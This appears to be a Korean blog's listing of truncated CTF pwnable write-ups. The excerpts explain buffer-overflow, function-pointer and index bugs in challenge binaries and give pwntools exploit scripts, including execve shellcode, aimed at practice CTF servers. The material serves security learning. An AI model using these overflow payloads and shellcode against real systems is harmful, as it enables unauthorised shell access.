목록write-up (28)
ii4gsp
파일을 다운받아 주자. gets()함수로 입력을받고 check_passcode()함수의 인자로 입력한 값이 전달되고 check_passcode()함수의 인자와 hashcode의 값이 같으면 core()함수를 호출한다. hashcode의 값은 0xC0D9B0A7 이다. check_passcode()함수를 보면 주소를 4byte씩 증가시키며 값을 읽어 v2에 더하고 v2를 return한다. hashcode의 값 0xC0D9B0A7을 5번 나누어서 전달하면 된다. C0D9B0A7을 5로 나누면 0x2691F021이 나온다. 다시 곱하기 5를하면 C0D9B0A7에서 2가 마이너스된 C0D9B0A5가 나온다. 0x2691F021을 4번 전달하고 +2의 값을 전달해주면 된다. core()함수는 dlsym()함수를 ..
파일을 다운받아 주자. IDA로 열어보면 cin으로 name에 입력을 받는다. name은 0x410 즉, 1040만큼 할당되었다. SFP 8byte를 더하여 1048byte dummy를 넣어주고 쉘을 실행해주는 spawn_shell()함수의 주소를 넣어주면 된다. spawn_shell()함수의 주소는 0x0000000000400897 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3013) payload = '' payload += '\x90' * 1048 payload += p64(0x0000000000400897) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. IDA로 열어보면 main()함수에서 welcome()함수를 호출한다. welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다. scanf()함수에서 취약점이 발생한다. v1 ~ sfp = 22이다. j0n9hyun()함수에서 flag를 출력해준다. welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다. welcome() offset = 0x909 j0n9hyun() offset = 0x890 0x909 - 0x890 = 0x79 welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) r.recvun..
파일을 다운받아 주자. IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다. select_func()함수를 보면 v3가 two()함수를 가리키고 있다. 인자 src를 0x1F 즉, 31byte만큼 dest에 복사한다. 그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다. print_flag()함수를 호출하면 flag를 볼 수 있다. 함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다. select_func()에서 dest와 v3의 거리는 30이다. 복사하는 크기는 31byte이다. 즉, 30byte dummy를 주고 0xD8을 주면 prin..
파일을 다운받아 주자. IDA로 열어보면 버퍼를 0x6D30만큼 할당한다. 즉, 10진수로 27,952만큼 할당한다. printf()함수로 버퍼의 주소를 출력한다. gets()함수로 길이 제한없이 버퍼를 입력받는다. gets()함수에서 취약점이 발생한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' r.recvuntil(': ') buffer = int(r.recv(14), 16) payload = '' payload += shellcode payload += '..
파일을 다운받아 주자. IDA로 열어보면 scanf()함수에서 취약점이 발생한다. callMeMaybe()함수에서 쉘을 실행시킨다. main()함수의 ret를 callMeMaybe()의 함수로 조작해주면 된다. callMeMaybe()함수의 주소는 0x0000000000400606이다. dummy 280byte를 채우고 callMeMaybe()함수의 주소를 넣어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90' * 280 payload += p64(0x0000000000400606) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운로드 해주자. IDA로 열어보면 scanf()함수로 v4, v5, v6에 입력을 받는다. v7[v6]에 v4와 v5를 더한값을 넣고 값을 출력한다. result에 0을넣고 return한다. win()함수가 실행되면 flag가 출력된다. result의 값을 win()함수의 주소로 조작해주면 win()함수가 실행된다. v4에 win()함수의 주소를 입력하고 v5에는 0을 입력한다. v6에 13을 입력하면 result의 주소에 접근할 수 있다. from pwn import * r = remote("svc.pwnable.xyz", 30002) e = ELF('./challenge') win = e.symbols['win'] payload = '' payload += str(win) + ' 0 13' ..
파일을 다운로드 해주자. IDA로 열어보면 scanf()함수로 v4와 v5에 입력을받고 v4 - v5가 4919가 되어야 flag를 볼 수 있다. scanf()함수는 %u로 입력을 받는다. -4918을 입력하면 -(-4918)이 된다. v4에 1을 입력하고 v5에 -4918을 입력해주면 1 + 4918이 된다. from pwn import * r = remote("svc.pwnable.xyz", 30001) r.recvuntil(":") r.sendline("1 -4918") r.sendline("asd") r.interactive() 소스코드를 작성해주자.